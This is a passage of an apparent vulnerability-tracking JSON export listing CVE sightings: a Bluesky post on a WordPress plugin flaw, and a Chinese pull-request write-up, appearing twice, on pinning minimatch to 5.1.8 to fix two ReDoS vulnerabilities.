\u0446\u0435\u043b\u044b\u0439 (\u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439) \u0430\u0432\u0442\u043e\u043d\u043e\u043c\u043d\u044b\u0439 \u0430\u0433\u0435\u043d\u0442, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0431\u0443\u0434\u0435\u0442 \u0436\u0438\u0442\u044c \u0432 \u0432\u0430\u0448\u0435\u0439 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0438 \u043f\u043e\u0445\u0438\u0449\u0430\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0435.", "creation_timestamp": "2026-07-30T00:03:19.438122Z"}, {"uuid": "c4038466-f1db-48ae-aff2-0b9f2932d022", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27409", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mru5ow4pa62u", "content": "CVE-2026-27409 webba-booking-lite (CVSS Score 5.3) \n\n#WordPress plugin #vulnerability #cybersecurity #wordpressfirewall #hacking #wpsecurity #atomicedge #cybersecurity #malware #vulnerabilityresearch #cve #redteam #proofofconcept", "creation_timestamp": "2026-07-30T09:44:07.742269Z"}, {"uuid": "3784be7d-642a-44eb-8fea-ba5e0a182acf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27903", "type": "seen", "source": "https://gist.github.com/djlan/31c93218d3c510515239582c8c8e6177", "content": "# [SECURITY][SFI] \u4fee\u590d minimatch \u6f0f\u6d1e\uff08CVE-2026-27903\uff09\n\n> **\u4e00\u53e5\u8bdd\u6458\u8981\uff1a** \u6b64 PR \u5728 React \u793a\u4f8b\u5bbf\u4e3b\u5e94\u7528\u4e2d\u901a\u8fc7 npm `overrides` \u5c06 `filelist` \u95f4\u63a5\u5f15\u5165\u7684 `minimatch` 5.x \u56fa\u5b9a\u5230 5.1.8\uff0c\u5e76\u540c\u6b65\u66f4\u65b0\u9501\u6587\u4ef6\uff0c\u4ee5\u4fee\u590d CVE-2026-27903 \u548c CVE-2026-27904 \u4e24\u4e2a\u9ad8\u5371 ReDoS \u6f0f\u6d1e\u3002\n\n| \u9879\u76ee | \u4fe1\u606f |\n|---|---|\n| PR | [766466](https://dev.azure.com/devdiv/OnlineServices/_git/AzureNotebooks/pullrequest/766466) |\n| \u4f5c\u8005 | Agency |\n| \u72b6\u6001 | Active\uff0c\u975e\u8349\u7a3f |\n| \u5408\u5e76\u72b6\u6001 | Succeeded |\n| \u5206\u652f | `copilot/api-690bd71d-e1b6f12c` \u2192 `main` |\n| \u521b\u5efa\u65f6\u95f4 | 2026-08-05 09:51:35 |\n| \u63d0\u4ea4\u6570 | 1 |\n| \u8fed\u4ee3\u6570 | 2 |\n| \u6587\u4ef6\u53d8\u66f4 | 2 \u4e2a\u6587\u4ef6\uff0c\u5747\u4e3a\u4fee\u6539 |\n| \u5dee\u5f02\u89c4\u6a21 | \u7ea6 5 \u884c\u65b0\u589e\u30014 \u884c\u5220\u9664\uff1b\u6570\u636e\u5305\u8bb0\u5f55 1,279 \u5b57\u8282\u5dee\u5f02 |\n\n## \u76ee\u5f55\n\n- [\u53d8\u66f4\u6982\u89c8](#\u53d8\u66f4\u6982\u89c8)\n- [\u529f\u80fd\u6a21\u5757\u4e00\uff1a\u4f20\u9012\u4f9d\u8d56\u7248\u672c\u7ea6\u675f](#\u529f\u80fd\u6a21\u5757\u4e00\u4f20\u9012\u4f9d\u8d56\u7248\u672c\u7ea6\u675f)\n- [\u529f\u80fd\u6a21\u5757\u4e8c\uff1a\u9501\u6587\u4ef6\u89e3\u6790\u7ed3\u679c](#\u529f\u80fd\u6a21\u5757\u4e8c\u9501\u6587\u4ef6\u89e3\u6790\u7ed3\u679c)\n- [\u529f\u80fd\u6a21\u5757\u4e09\uff1a\u5b89\u5168\u4fee\u590d\u4e0e\u4f9d\u8d56\u8fb9\u754c](#\u529f\u80fd\u6a21\u5757\u4e09\u5b89\u5168\u4fee\u590d\u4e0e\u4f9d\u8d56\u8fb9\u754c)\n- [\u6d4b\u8bd5\u4e0e\u9a8c\u8bc1](#\u6d4b\u8bd5\u4e0e\u9a8c\u8bc1)\n- [\u5f71\u54cd\u5206\u6790](#\u5f71\u54cd\u5206\u6790)\n- [\u98ce\u9669\u4e0e\u517c\u5bb9\u6027\u5173\u6ce8](#\u98ce\u9669\u4e0e\u517c\u5bb9\u6027\u5173\u6ce8)\n- [\u5dee\u5f02\u8986\u76d6\u8303\u56f4](#\u5dee\u5f02\u8986\u76d6\u8303\u56f4)\n\n## \u53d8\u66f4\u6982\u89c8\n\n\u6f0f\u6d1e\u7248\u672c `minimatch` 5.0.1 \u5e76\u4e0d\u662f\u9879\u76ee\u76f4\u63a5\u58f0\u660e\u7684\u4f9d\u8d56\uff0c\u800c\u662f\u7531\u5f00\u53d1\u6784\u5efa\u94fe\u8def `react-scripts` \u2192 `filelist` \u2192 `minimatch` \u95f4\u63a5\u5f15\u5165\uff0c\u5e76\u5b89\u88c5\u5728 `filelist` \u7684\u5d4c\u5957\u4f9d\u8d56\u8def\u5f84\u4e0b\u3002\u56e0\u6b64\uff0c\u672c\u6b21\u4fee\u590d\u6ca1\u6709\u65b0\u589e\u6216\u5347\u7ea7\u9876\u5c42\u4e1a\u52a1\u4f9d\u8d56\uff0c\u800c\u662f\u5728 npm \u7684 `overrides` \u4e2d\u589e\u52a0\u9488\u5bf9 5.x \u4e3b\u7248\u672c\u7684\u7cbe\u786e\u8986\u76d6\u89c4\u5219\uff0c\u518d\u5c06\u9501\u6587\u4ef6\u4e2d\u7684\u5bf9\u5e94\u5d4c\u5957\u5b9e\u4f8b\u66f4\u65b0\u5230 5.1.8\u3002\n\n\u8fd9\u662f\u4e00\u9879\u8303\u56f4\u8f83\u5c0f\u7684\u4f9b\u5e94\u94fe\u5b89\u5168\u4fee\u590d\uff1a\u53ea\u6539\u53d8 React \u793a\u4f8b\u5bbf\u4e3b\u5e94\u7528\u7684\u5f00\u53d1\u4f9d\u8d56\u89e3\u6790\u7ed3\u679c\uff0c\u4e0d\u6d89\u53ca\u5e94\u7528\u8fd0\u884c\u65f6\u4ee3\u7801\u3001\u516c\u5171 API \u6216\u4ea7\u54c1\u529f\u80fd\u903b\u8f91\u3002\n\n## \u529f\u80fd\u6a21\u5757\u4e00\uff1a\u4f20\u9012\u4f9d\u8d56\u7248\u672c\u7ea6\u675f\n\n\u6587\u4ef6\uff1a[sample/react-host-app/package.json](https://dev.azure.com/devdiv/OnlineServices/_git/AzureNotebooks/pullrequest/766466?path=/sample/react-host-app/package.json&_a=files)\n\n### \u4e3a\u4ec0\u4e48\u9700\u8981\u4fee\u6539\n\n\u53d7\u5f71\u54cd\u7684 `minimatch` \u4f4d\u4e8e `filelist` \u7684\u4f20\u9012\u4f9d\u8d56\u6811\u4e2d\uff0c\u65e0\u6cd5\u901a\u8fc7\u4fee\u6539\u666e\u901a\u7684\u9876\u5c42 `dependencies` \u6216 `devDependencies` \u6765\u53ef\u9760\u6307\u5b9a\u7248\u672c\u3002\u4f7f\u7528 npm `overrides` \u53ef\u4ee5\u5728\u5b89\u88c5\u89e3\u6790\u9636\u6bb5\u66ff\u6362\u4e0b\u6e38\u4f9d\u8d56\u6240\u8bf7\u6c42\u7684\u7248\u672c\uff0c\u4ece\u800c\u786e\u4fdd\u5d4c\u5957\u7684 5.x \u5b9e\u4f8b\u4e0d\u518d\u89e3\u6790\u5230\u5b58\u5728\u6f0f\u6d1e\u7684 5.0.1\u3002\n\n### \u5982\u4f55\u5de5\u4f5c\n\n- \u65b0\u589e `minimatch@5: 5.1.8` \u8986\u76d6\u89c4\u5219\uff0c\u4ec5\u9488\u5bf9 5.x \u4e3b\u7248\u672c\u3002\n- \u4f7f\u7528\u7cbe\u786e\u7248\u672c `5.1.8`\uff0c\u907f\u514d\u672a\u6765\u5b89\u88c5\u65f6\u56e0\u7248\u672c\u8303\u56f4\u6d6e\u52a8\u800c\u91cd\u65b0\u89e3\u6790\u5230\u672a\u7ecf\u9a8c\u8bc1\u7684\u7248\u672c\u3002\n- \u4fdd\u7559\u539f\u6709 `minimatch@3: ^3.1.4` \u89c4\u5219\uff0c\u56e0\u6b64 3.x \u4e0e 5.x \u4e24\u6761\u4e3b\u7248\u672c\u4f9d\u8d56\u7ebf\u7ee7\u7eed\u5206\u522b\u7ba1\u7406\u3002\n- \u6b64\u89c4\u5219\u5728\u6267\u884c\u517c\u5bb9\u8be5\u7279\u6027\u7684 npm \u5b89\u88c5\u65f6\u751f\u6548\uff0c\u5f71\u54cd `sample/react-host-app` \u5185\u6ee1\u8db3 5.x \u9009\u62e9\u6761\u4ef6\u7684\u4f20\u9012\u4f9d\u8d56\u3002\n\n## \u529f\u80fd\u6a21\u5757\u4e8c\uff1a\u9501\u6587\u4ef6\u89e3\u6790\u7ed3\u679c\n\n\u6587\u4ef6\uff1a[sample/react-host-app/package-lock.json](https://dev.azure.com/devdiv/OnlineServices/_git/AzureNotebooks/pullrequest/766466?path=/sample/react-host-app/package-lock.json&_a=files)\n\n### \u4e3a\u4ec0\u4e48\u9700\u8981\u4fee\u6539\n\n\u53ea\u4fee\u6539\u6e05\u5355\u6587\u4ef6\u4e0d\u8db3\u4ee5\u4fdd\u8bc1\u53ef\u91cd\u590d\u5b89\u88c5\uff1b\u4ed3\u5e93\u4e2d\u7684\u9501\u6587\u4ef6\u4ecd\u4f1a\u8bb0\u5f55\u539f\u6765\u7684\u5177\u4f53\u5305\u7248\u672c\u3001\u4e0b\u8f7d\u5730\u5740\u548c\u5b8c\u6574\u6027\u6458\u8981\u3002\u56e0\u6b64\uff0c\u9501\u6587\u4ef6\u5fc5\u987b\u4e0e\u65b0\u589e\u7684\u8986\u76d6\u89c4\u5219\u4fdd\u6301\u4e00\u81f4\u3002\n\n### \u5982\u4f55\u5de5\u4f5c\n\n\u9501\u6587\u4ef6\u4e2d `node_modules/filelist/node_modules/minimatch` \u8fd9\u4e00\u5d4c\u5957\u5b9e\u4f8b\u7531 5.0.1 \u66f4\u65b0\u4e3a 5.1.8\uff0c\u540c\u65f6\u66f4\u65b0\uff1a\n\n- \u5305\u7248\u672c\uff1b\n- \u5185\u90e8 npm \u6e90\u4e2d\u7684 tarball \u5730\u5740\uff1b\n- \u5bf9\u5e94\u7684\u5b8c\u6574\u6027\u6458\u8981\u3002\n\n\u8be5\u8282\u70b9\u4ecd\u6807\u8bb0\u4e3a\u5f00\u53d1\u4f9d\u8d56\uff0c\u8bb8\u53ef\u8bc1\u4ecd\u4e3a ISC\uff0c\u6570\u636e\u5305\u5c55\u793a\u7684\u4f9d\u8d56\u5b57\u6bb5\u4e5f\u672a\u53d1\u751f\u53d8\u5316\u3002\u9501\u6587\u4ef6\u6539\u52a8\u96c6\u4e2d\u4e8e\u8fd9\u4e00\u5904\u5d4c\u5957\u5b9e\u4f8b\uff0c\u8bf4\u660e\u4fee\u590d\u6ca1\u6709\u5728\u53ef\u89c1\u5dee\u5f02\u4e2d\u5f15\u53d1\u5927\u8303\u56f4\u4f9d\u8d56\u6811\u91cd\u7b97\u3002\n\n## \u529f\u80fd\u6a21\u5757\u4e09\uff1a\u5b89\u5168\u4fee\u590d\u4e0e\u4f9d\u8d56\u8fb9\u754c\n\n\u672c\u6b21\u7248\u672c\u56fa\u5b9a\u7528\u4e8e\u5904\u7406 PR \u63cf\u8ff0\u4e2d\u5217\u51fa\u7684\u4e24\u4e2a\u9ad8\u5371\u544a\u8b66\uff1a\n\n- CVE-2026-27903\uff1b\n- CVE-2026-27904\u3002\n\nPR \u6570\u636e\u5305\u5c06\u4e24\u8005\u63cf\u8ff0\u4e3a `minimatch` 5.x \u4e2d\u7684\u6b63\u5219\u8868\u8fbe\u5f0f\u62d2\u7edd\u670d\u52a1\uff08ReDoS\uff09\u95ee\u9898\uff0c\u5e76\u58f0\u660e 5.1.8 \u4e3a\u4fee\u590d\u7248\u672c\u3002\u5355\u4e2a 5.x \u8986\u76d6\u89c4\u5219\u53ef\u540c\u65f6\u66f4\u65b0\u53d7\u5f71\u54cd\u7684\u5d4c\u5957\u5b9e\u4f8b\u3002\n\n\u7248\u672c\u8fb9\u754c\u65b9\u9762\uff0c\u672c\u6b21\u53d8\u66f4\u6ca1\u6709\u4fee\u6539\u9879\u76ee\u4e2d\u72ec\u7acb\u5b58\u5728\u7684 `minimatch` 3.x \u89e3\u6790\u7ebf\u3002\u8fd9\u6837\u53ef\u4ee5\u907f\u514d\u4e3a\u4e86\u5904\u7406 5.x \u6f0f\u6d1e\u800c\u8de8\u4e3b\u7248\u672c\u6539\u53d8\u4f9d\u8d56 3.x API/\u884c\u4e3a\u7684\u7ec4\u4ef6\uff0c\u964d\u4f4e\u517c\u5bb9\u6027\u5f71\u54cd\u3002\n\n## \u6d4b\u8bd5\u4e0e\u9a8c\u8bc1\n\n\u6570\u636e\u5305\u4e2d\u8bb0\u5f55\u7684\u9a8c\u8bc1\u7ed3\u679c\u5982\u4e0b\uff1a\n\n| \u9a8c\u8bc1\u9879 | \u7ed3\u679c | \u8bf4\u660e |\n|---|---|---|\n| \u6f0f\u6d1e\u7248\u672c\u786e\u8ba4 | \u901a\u8fc7 | \u4fee\u590d\u524d\u9501\u6587\u4ef6\u5305\u542b\u5d4c\u5957\u7684 `minimatch` 5.0.1\u3002 |\n| \u76ee\u6807\u7248\u672c\u786e\u8ba4 | \u901a\u8fc7 | \u6e05\u5355\u8986\u76d6\u89c4\u5219\u548c\u9501\u6587\u4ef6\u5747\u6307\u5411 5.1.8\u3002 |\n| \u53d8\u66f4\u8303\u56f4\u68c0\u67e5 | \u901a\u8fc7 | \u53ef\u89c1\u5dee\u5f02\u53ea\u4fee\u6539 5.x \u8986\u76d6\u89c4\u5219\u53ca\u5bf9\u5e94\u5d4c\u5957\u9501\u6587\u4ef6\u8282\u70b9\uff0c\u539f\u6709 3.x \u8986\u76d6\u672a\u6539\u52a8\u3002 |\n| \u6784\u5efa\u4e0e\u81ea\u52a8\u5316\u6d4b\u8bd5 | \u672a\u6267\u884c/\u73af\u5883\u53d7\u963b | PR \u63cf\u8ff0\u79f0 npm \u5b89\u88c5\u9700\u8981\u79c1\u6709\u6e90\u8ba4\u8bc1\uff0c\u4e14\u9a8c\u8bc1\u73af\u5883\u4e0d\u5141\u8bb8\u6539\u52a8\u53ea\u8bfb\u5de5\u4f5c\u6811\uff0c\u56e0\u6b64\u6ca1\u6709\u5b9e\u9645\u8fd0\u884c\u6784\u5efa\u3002 |\n| Component Detection CLI | \u672a\u6267\u884c | \u6570\u636e\u5305\u8bf4\u660e\u8be5\u9a8c\u8bc1\u4e0a\u4e0b\u6587\u672a\u8c03\u7528\u7ec4\u4ef6\u68c0\u6d4b\u5de5\u5177\u3002 |\n\n\u56e0\u6b64\uff0c\u5f53\u524d\u8bc1\u636e\u53ef\u4ee5\u786e\u8ba4\u4f9d\u8d56\u58f0\u660e\u548c\u9501\u6587\u4ef6\u5728\u8bed\u4e49\u4e0a\u4fdd\u6301\u4e00\u81f4\uff0c\u4f46\u4e0d\u80fd\u636e\u6b64\u5ba3\u79f0\u5e94\u7528\u6784\u5efa\u3001\u6d4b\u8bd5\u5957\u4ef6\u6216\u5b8c\u6574 CI \u5df2\u901a\u8fc7\u3002\u5408\u5e76\u524d\u4ecd\u5e94\u4f9d\u8d56\u5177\u5907\u79c1\u6709 npm \u6e90\u8bbf\u95ee\u6743\u9650\u7684 CI \u6267\u884c\u81f3\u5c11\u4e00\u6b21\u5e72\u51c0\u5b89\u88c5\u548c React \u793a\u4f8b\u5bbf\u4e3b\u5e94\u7528\u7684\u6784\u5efa/\u6d4b\u8bd5\u3002\n\n## \u5f71\u54cd\u5206\u6790\n\n### \u5b89\u5168\u5f71\u54cd\n\n\u4e3b\u8981\u6536\u76ca\u662f\u79fb\u9664\u9501\u6587\u4ef6\u4e2d\u5df2\u77e5\u6613\u53d7 ReDoS \u5f71\u54cd\u7684 `minimatch` 5.0.1 \u5b9e\u4f8b\uff0c\u964d\u4f4e\u6784\u5efa\u5de5\u5177\u5904\u7406\u6076\u610f\u6216\u6781\u7aef glob \u6a21\u5f0f\u65f6\u51fa\u73b0\u9ad8 CPU \u6d88\u8017\u548c\u62d2\u7edd\u670d\u52a1\u7684\u98ce\u9669\u3002\n\n### \u529f\u80fd\u5f71\u54cd\n\n\u6539\u52a8\u4f4d\u4e8e `sample/react-host-app` \u7684\u4f9d\u8d56\u914d\u7f6e\uff0c\u4e0d\u6539\u53d8\u4e1a\u52a1\u6e90\u4ee3\u7801\u3002\u9884\u671f\u5f71\u54cd\u96c6\u4e2d\u5728\u5f00\u53d1\u3001\u5b89\u88c5\u548c\u6784\u5efa\u9636\u6bb5\uff0c\u800c\u975e\u5df2\u90e8\u7f72\u5e94\u7528\u7684\u8fd0\u884c\u65f6\u903b\u8f91\u3002\n\n### \u6784\u5efa\u4e0e\u4f9b\u5e94\u94fe\u5f71\u54cd\n\n\u540e\u7eed\u6267\u884c npm \u5b89\u88c5\u65f6\uff0c5.x \u4f20\u9012\u4f9d\u8d56\u5c06\u88ab\u5f3a\u5236\u89e3\u6790\u4e3a 5.1.8\u3002\u9501\u6587\u4ef6\u4f7f\u7528 Azure DevOps \u5185\u90e8\u5305\u6e90\u5730\u5740\uff0c\u56e0\u6b64\u6784\u5efa\u73af\u5883\u4ecd\u9700\u5177\u5907\u76f8\u5e94\u79c1\u6709\u6e90\u8ba4\u8bc1\u548c\u8bbf\u95ee\u6743\u9650\u3002\n\n### \u7ef4\u62a4\u5f71\u54cd\n\n\u7cbe\u786e\u56fa\u5b9a\u7248\u672c\u6709\u5229\u4e8e\u53ef\u91cd\u590d\u6784\u5efa\u548c\u5b89\u5168\u5ba1\u8ba1\uff0c\u4f46\u4e5f\u610f\u5473\u7740\u540e\u7eed 5.x \u8865\u4e01\u4e0d\u4f1a\u81ea\u52a8\u91c7\u7528\uff1b\u82e5\u51fa\u73b0\u65b0\u7684\u5b89\u5168\u4fee\u590d\uff0c\u9700\u8981\u518d\u6b21\u66f4\u65b0\u8986\u76d6\u89c4\u5219\u548c\u9501\u6587\u4ef6\u3002\n\n## \u98ce\u9669\u4e0e\u517c\u5bb9\u6027\u5173\u6ce8\n\n1. **\u4f20\u9012\u4f9d\u8d56\u517c\u5bb9\u6027\uff1a** \u867d\u7136 5.0.1 \u2192 5.1.8 \u5c5e\u4e8e\u540c\u4e00\u4e3b\u7248\u672c\u5185\u5347\u7ea7\uff0c\u901a\u5e38\u517c\u5bb9\u98ce\u9669\u8f83\u4f4e\uff0c\u4f46 `filelist` \u5bf9\u5177\u4f53 `minimatch` \u884c\u4e3a\u7684\u4f9d\u8d56\u5c1a\u672a\u901a\u8fc7\u5b9e\u9645\u6784\u5efa\u6216\u6d4b\u8bd5\u9a8c\u8bc1\u3002\n2. **npm \u7248\u672c\u8981\u6c42\uff1a** `overrides` \u4f9d\u8d56\u8f83\u65b0\u7684 npm \u5ba2\u6237\u7aef\u652f\u6301\u3002\u82e5\u67d0\u4e9b\u672c\u5730\u6216 CI \u73af\u5883\u4f7f\u7528\u4e0d\u652f\u6301\u8be5\u5b57\u6bb5\u7684\u65e7 npm\uff0c\u8986\u76d6\u53ef\u80fd\u4e0d\u751f\u6548\u6216\u5b89\u88c5\u884c\u4e3a\u53ef\u80fd\u4e0d\u540c\u3002\n3. **\u79c1\u6709\u6e90\u4e0e\u5b8c\u6574\u6027\uff1a** \u9501\u6587\u4ef6\u4e2d\u7684 5.1.8 \u5305\u6765\u81ea\u5185\u90e8 Azure DevOps npm \u6e90\uff1b\u65e0\u6743\u9650\u3001\u6e90\u540c\u6b65\u5f02\u5e38\u6216\u7f13\u5b58\u4e0d\u4e00\u81f4\u90fd\u53ef\u80fd\u5bfc\u81f4\u5b89\u88c5\u5931\u8d25\u3002\n4. **\u7cbe\u786e\u56fa\u5b9a\u7684\u7ef4\u62a4\u6210\u672c\uff1a** \u56fa\u5b9a\u5230 5.1.8 \u53ef\u9632\u6b62\u610f\u5916\u6f02\u79fb\uff0c\u4f46\u4e0d\u4f1a\u81ea\u52a8\u5438\u6536\u672a\u6765\u7684\u5b89\u5168\u8865\u4e01\u3002\n5. **\u9a8c\u8bc1\u7f3a\u53e3\uff1a** \u6570\u636e\u5305\u6ca1\u6709\u63d0\u4f9b\u6210\u529f\u7684 `npm install`\u3001\u6784\u5efa\u3001\u5355\u5143\u6d4b\u8bd5\u6216\u7aef\u5230\u7aef\u6d4b\u8bd5\u7ed3\u679c\uff0c\u8fd9\u662f\u5408\u5e76\u5224\u65ad\u4e2d\u6700\u4e3b\u8981\u7684\u5269\u4f59\u98ce\u9669\u3002\n6. **\u6587\u4ef6\u683c\u5f0f\uff1a** `package.json` \u5728\u5dee\u5f02\u4e2d\u4ecd\u663e\u793a\u6587\u4ef6\u672b\u5c3e\u6ca1\u6709\u6362\u884c\uff1b\u8fd9\u4e0d\u662f\u672c\u6b21\u5b89\u5168\u4fee\u590d\u7684\u529f\u80fd\u98ce\u9669\uff0c\u4f46\u53ef\u80fd\u7ee7\u7eed\u89e6\u53d1\u90e8\u5206\u683c\u5f0f\u68c0\u67e5\u5de5\u5177\u7684\u63d0\u793a\u3002\n\n## \u5dee\u5f02\u8986\u76d6\u8303\u56f4\n\n\u5206\u6790\u5305\u58f0\u660e\uff1a\n\n- `diffTruncated: false`\uff1b\n- \u4e24\u4e2a\u6587\u4ef6\u5404\u81ea\u7684 `truncated` \u5747\u4e3a `false`\uff1b\n- \u53d8\u66f4\u6587\u4ef6\u6e05\u5355\u4e2d\u7684 2 \u4e2a\u6587\u4ef6\u90fd\u63d0\u4f9b\u4e86\u5dee\u5f02\uff1b\n- \u6ca1\u6709\u5bfc\u51fa\u9519\u8bef\u6216\u8b66\u544a\u3002\n\n\u56e0\u6b64\uff0c\u672c\u8bf4\u660e\u8986\u76d6\u4e86\u6570\u636e\u5305\u4e2d\u63d0\u4f9b\u7684\u5168\u90e8\u6587\u4ef6\u5dee\u5f02\uff0c\u6ca1\u6709\u5df2\u77e5\u7684\u622a\u65ad\u6587\u4ef6\u6216\u7f3a\u5931\u5dee\u5f02\u3002\u5206\u6790\u8303\u56f4\u4ec5\u9650\u4e8e\u6570\u636e\u5305\u5185\u7684 PR \u5143\u6570\u636e\u3001\u63cf\u8ff0\u548c\u8fd9\u4e24\u4e2a\u6587\u4ef6\u7684\u53ef\u89c1\u5dee\u5f02\uff1b\u672a\u989d\u5916\u68c0\u67e5\u4ed3\u5e93\u5176\u4ed6\u6587\u4ef6\u3001\u79c1\u6709\u5305\u5185\u5bb9\u3001\u5b9e\u9645 CI \u65e5\u5fd7\u6216\u672a\u5305\u542b\u5728\u6570\u636e\u5305\u4e2d\u7684\u8fd0\u884c\u7ed3\u679c\u3002\n", "creation_timestamp": "2026-08-31T00:17:05.758083Z"}, {"uuid": "f1dc4b22-e420-418f-8c59-a9b3db81f611", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27904", "type": "seen", "source": "https://gist.github.com/djlan/31c93218d3c510515239582c8c8e6177", "content": "# [SECURITY][SFI] \u4fee\u590d minimatch \u6f0f\u6d1e\uff08CVE-2026-27903\uff09\n\n> **\u4e00\u53e5\u8bdd\u6458\u8981\uff1a** \u6b64 PR \u5728 React \u793a\u4f8b\u5bbf\u4e3b\u5e94\u7528\u4e2d\u901a\u8fc7 npm `overrides` \u5c06 `filelist` \u95f4\u63a5\u5f15\u5165\u7684 `minimatch` 5.x \u56fa\u5b9a\u5230 5.1.8\uff0c\u5e76\u540c\u6b65\u66f4\u65b0\u9501\u6587\u4ef6\uff0c\u4ee5\u4fee\u590d CVE-2026-27903 \u548c CVE-2026-27904 \u4e24\u4e2a\u9ad8\u5371 ReDoS \u6f0f\u6d1e\u3002\n\n| \u9879\u76ee | \u4fe1\u606f |\n|---|---|\n| PR | [766466](https://dev.azure.com/devdiv/OnlineServices/_git/AzureNotebooks/pullrequest/766466) |\n| \u4f5c\u8005 | Agency |\n| \u72b6\u6001 | Active\uff0c\u975e\u8349\u7a3f |\n| \u5408\u5e76\u72b6\u6001 | Succeeded |\n| \u5206\u652f | `copilot/api-690bd71d-e1b6f12c` \u2192 `main` |\n| \u521b\u5efa\u65f6\u95f4 | 2026-08-05 09:51:35 |\n| \u63d0\u4ea4\u6570 | 1 |\n| \u8fed\u4ee3\u6570 | 2 |\n| \u6587\u4ef6\u53d8\u66f4 | 2 \u4e2a\u6587\u4ef6\uff0c\u5747\u4e3a\u4fee\u6539 |\n| \u5dee\u5f02\u89c4\u6a21 | \u7ea6 5 \u884c\u65b0\u589e\u30014 \u884c\u5220\u9664\uff1b\u6570\u636e\u5305\u8bb0\u5f55 1,279 \u5b57\u8282\u5dee\u5f02 |\n\n## \u76ee\u5f55\n\n- [\u53d8\u66f4\u6982\u89c8](#\u53d8\u66f4\u6982\u89c8)\n- [\u529f\u80fd\u6a21\u5757\u4e00\uff1a\u4f20\u9012\u4f9d\u8d56\u7248\u672c\u7ea6\u675f](#\u529f\u80fd\u6a21\u5757\u4e00\u4f20\u9012\u4f9d\u8d56\u7248\u672c\u7ea6\u675f)\n- [\u529f\u80fd\u6a21\u5757\u4e8c\uff1a\u9501\u6587\u4ef6\u89e3\u6790\u7ed3\u679c](#\u529f\u80fd\u6a21\u5757\u4e8c\u9501\u6587\u4ef6\u89e3\u6790\u7ed3\u679c)\n- [\u529f\u80fd\u6a21\u5757\u4e09\uff1a\u5b89\u5168\u4fee\u590d\u4e0e\u4f9d\u8d56\u8fb9\u754c](#\u529f\u80fd\u6a21\u5757\u4e09\u5b89\u5168\u4fee\u590d\u4e0e\u4f9d\u8d56\u8fb9\u754c)\n- [\u6d4b\u8bd5\u4e0e\u9a8c\u8bc1](#\u6d4b\u8bd5\u4e0e\u9a8c\u8bc1)\n- [\u5f71\u54cd\u5206\u6790](#\u5f71\u54cd\u5206\u6790)\n- [\u98ce\u9669\u4e0e\u517c\u5bb9\u6027\u5173\u6ce8](#\u98ce\u9669\u4e0e\u517c\u5bb9\u6027\u5173\u6ce8)\n- [\u5dee\u5f02\u8986\u76d6\u8303\u56f4](#\u5dee\u5f02\u8986\u76d6\u8303\u56f4)\n\n## \u53d8\u66f4\u6982\u89c8\n\n\u6f0f\u6d1e\u7248\u672c `minimatch` 5.0.1 \u5e76\u4e0d\u662f\u9879\u76ee\u76f4\u63a5\u58f0\u660e\u7684\u4f9d\u8d56\uff0c\u800c\u662f\u7531\u5f00\u53d1\u6784\u5efa\u94fe\u8def `react-scripts` \u2192 `filelist` \u2192 `minimatch` \u95f4\u63a5\u5f15\u5165\uff0c\u5e76\u5b89\u88c5\u5728 `filelist` \u7684\u5d4c\u5957\u4f9d\u8d56\u8def\u5f84\u4e0b\u3002\u56e0\u6b64\uff0c\u672c\u6b21\u4fee\u590d\u6ca1\u6709\u65b0\u589e\u6216\u5347\u7ea7\u9876\u5c42\u4e1a\u52a1\u4f9d\u8d56\uff0c\u800c\u662f\u5728 npm \u7684 `overrides` \u4e2d\u589e\u52a0\u9488\u5bf9 5.x \u4e3b\u7248\u672c\u7684\u7cbe\u786e\u8986\u76d6\u89c4\u5219\uff0c\u518d\u5c06\u9501\u6587\u4ef6\u4e2d\u7684\u5bf9\u5e94\u5d4c\u5957\u5b9e\u4f8b\u66f4\u65b0\u5230 5.1.8\u3002\n\n\u8fd9\u662f\u4e00\u9879\u8303\u56f4\u8f83\u5c0f\u7684\u4f9b\u5e94\u94fe\u5b89\u5168\u4fee\u590d\uff1a\u53ea\u6539\u53d8 React \u793a\u4f8b\u5bbf\u4e3b\u5e94\u7528\u7684\u5f00\u53d1\u4f9d\u8d56\u89e3\u6790\u7ed3\u679c\uff0c\u4e0d\u6d89\u53ca\u5e94\u7528\u8fd0\u884c\u65f6\u4ee3\u7801\u3001\u516c\u5171 API \u6216\u4ea7\u54c1\u529f\u80fd\u903b\u8f91\u3002\n\n## \u529f\u80fd\u6a21\u5757\u4e00\uff1a\u4f20\u9012\u4f9d\u8d56\u7248\u672c\u7ea6\u675f\n\n\u6587\u4ef6\uff1a[sample/react-host-app/package.json](https://dev.azure.com/devdiv/OnlineServices/_git/AzureNotebooks/pullrequest/766466?path=/sample/react-host-app/package.json&_a=files)\n\n### \u4e3a\u4ec0\u4e48\u9700\u8981\u4fee\u6539\n\n\u53d7\u5f71\u54cd\u7684 `minimatch` \u4f4d\u4e8e `filelist` \u7684\u4f20\u9012\u4f9d\u8d56\u6811\u4e2d\uff0c\u65e0\u6cd5\u901a\u8fc7\u4fee\u6539\u666e\u901a\u7684\u9876\u5c42 `dependencies` \u6216 `devDependencies` \u6765\u53ef\u9760\u6307\u5b9a\u7248\u672c\u3002\u4f7f\u7528 npm `overrides` \u53ef\u4ee5\u5728\u5b89\u88c5\u89e3\u6790\u9636\u6bb5\u66ff\u6362\u4e0b\u6e38\u4f9d\u8d56\u6240\u8bf7\u6c42\u7684\u7248\u672c\uff0c\u4ece\u800c\u786e\u4fdd\u5d4c\u5957\u7684 5.x \u5b9e\u4f8b\u4e0d\u518d\u89e3\u6790\u5230\u5b58\u5728\u6f0f\u6d1e\u7684 5.0.1\u3002\n\n### \u5982\u4f55\u5de5\u4f5c\n\n- \u65b0\u589e `minimatch@5: 5.1.8` \u8986\u76d6\u89c4\u5219\uff0c\u4ec5\u9488\u5bf9 5.x 